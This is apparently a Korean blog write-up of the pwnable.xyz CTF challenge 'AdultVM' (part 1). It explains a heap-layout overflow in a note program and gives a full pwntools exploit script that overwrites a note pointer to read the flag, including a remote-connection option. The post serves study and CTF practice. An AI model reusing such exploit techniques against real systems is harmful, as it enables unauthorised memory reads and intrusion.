userland와 kernel의 IDA Database 파일이다. (분석용)
start.py를 로컬에서 python3으로 돌리려면 Queue를 queue로 고쳐주고, 각종 메모리 데이터를 str가 아닌 bytes 형식으로 바꿔줘야 한다. 또 sys.stdin.read를 sys.stdin.buffer.read로 바꿔야 한다.
첫 번째 챌린지의 목표는 user space에서 AAR (Arbitary Address Read) 을 하는 것이다.
108
109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 |
def start_userland():
with open("/home/ctf/userland", 'rb') as f: userland = ELFFile(f).get_segment(0).data() flag1 = read("/flag1.txt") mu = Uc(UC_ARCH_X86, UC_MODE_64) mu.mem_map_ptr(USER_ADDRESS, MAPPING_SIZE, UC_PROT_READ | UC_PROT_EXEC, USER_TEXT_MEM) mu.mem_map_ptr(USER_ADDRESS + MAPPING_SIZE, MAPPING_SIZE, UC_PROT_READ | UC_PROT_WRITE, USER_DATA_MEM) mu.mem_map_ptr(USER_STACK - MAPPING_SIZE, MAPPING_SIZE, UC_PROT_READ | UC_PROT_WRITE, USER_STACK_MEM) mu.mem_write(USER_ADDRESS, userland) mu.hook_add(UC_HOOK_INSN, handle_syscall, None, 1, 0, UC_X86_INS_SYSCALL) mu.hook_add(UC_HOOK_MEM_READ_UNMAPPED | UC_HOOK_MEM_WRITE_UNMAPPED | UC_HOOK_MEM_FETCH_UNMAPPED, handle_userland_invalid) mu.reg_write(UC_X86_REG_RSP, USER_STACK-0x1000) mu.reg_write(UC_X86_REG_RIP, USER_ADDRESS) mu.mem_write(USER_ADDRESS + MAPPING_SIZE, flag1) mu.emu_start(USER_ADDRESS, USER_ADDRESS + len(userland)) regs = get_syscall_regs(mu) regs["rax"] = 60 kernel_queue.put(regs) |
유저 프로그램에서 첫 번째 플래그를 딸 수 있다. unicorn engine에서 진짜 플래그를 0x4100000 주소에 쓴다.
void __cdecl edit_note()
{ int id; // [rsp+Ch] [rbp-4h] do_write(id_str, 9uLL); id = get_int(); if ( id >= 0 && id <= 9 ) { if ( !notes[id].note ) { notes[id].note = &memory[memory_ptr]; notes[id].size = 0x38LL; notes[id].serial = (unsigned int)(((0x19660D * id + 0x3C6EF35F) >> 31) + 0x19660D * id + 0x3C6EF35F) - ((unsigned __int64)((unsigned __int128)(0x19660D * id + 0x3C6EF35F) >> 64) >> 32); memory_ptr += notes[id].size; } do_write(contents_str, 0xBuLL); notes[id].id = id; notes[id].show = (void (*)(size_t, char *, size_t, uint64_t))print_note; notes[id].size = read_line(notes[id].note, 0x40uLL); } } |
memory의 크기는 0x200인데 memory_ptr은 0x38만큼 증가한다. id=9 (10번째) 노트의 경우 memory_ptr이 0x1F8이 되기 때문에, notes 배열의 첫 번째 원소를 자유롭게 수정하는 게 가능하다.
.note 포인터를 0x4100000 으로 옮기면 플래그를 읽을 수 있다.
1
2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 |
from pwn import *
from time import sleep import argparse import sys def log_info(string) : sys.stderr.write((u'\u001b[37;1m[\u001b[32m+\u001b[37;1m]\u001b[0m ' + string + '\n').encode()) def EditNote(nid:int, note:bytes) : p.writeline(b'1') p.writelineafter(b': ', str(nid).encode()) p.writeafter(b': ', note) if len(note) != 0x40 : p.write(b'\n') def ShowNote(nid:int) -> bytes : p.writeline(b'2') p.writelineafter(b': ', str(nid).encode()) p.readuntil(b': ') return p.readuntil(b'\n1.', drop=True) def Exit() : p.writeline(b'3') def exploit() : sleep(1) for i in range(9) : EditNote(i, b'A'*0x40) EditNote(9, b'A'*8 + p64(0) + p64(0x4100000)[:4]) flag = ShowNote(0) Exit() log_info('flag: '+flag.decode()) p.close() if __name__ == '__main__' : parser = argparse.ArgumentParser() parser.add_argument('-r', '--remote', action='store_true', help='connect to remote server') args = parser.parse_args() if args.remote : p = connect('svc.pwnable.xyz', 30048, fam='ipv4') else : p = process(['python3', 'start3.py']) exploit() |
Last update: 6/10/2020
'Wargame > pwnable.xyz' 카테고리의 다른 글
pwnable.xyz / AdultVM 3 (0) | 2020.06.12 |
---|---|
pwnable.xyz / AdultVM 2 (0) | 2020.06.11 |
pwnable.xyz / note v4 (0) | 2020.05.30 |
pwnable.xyz / fishing (0) | 2020.05.30 |
pwnable.xyz / BabyVM (0) | 2020.05.22 |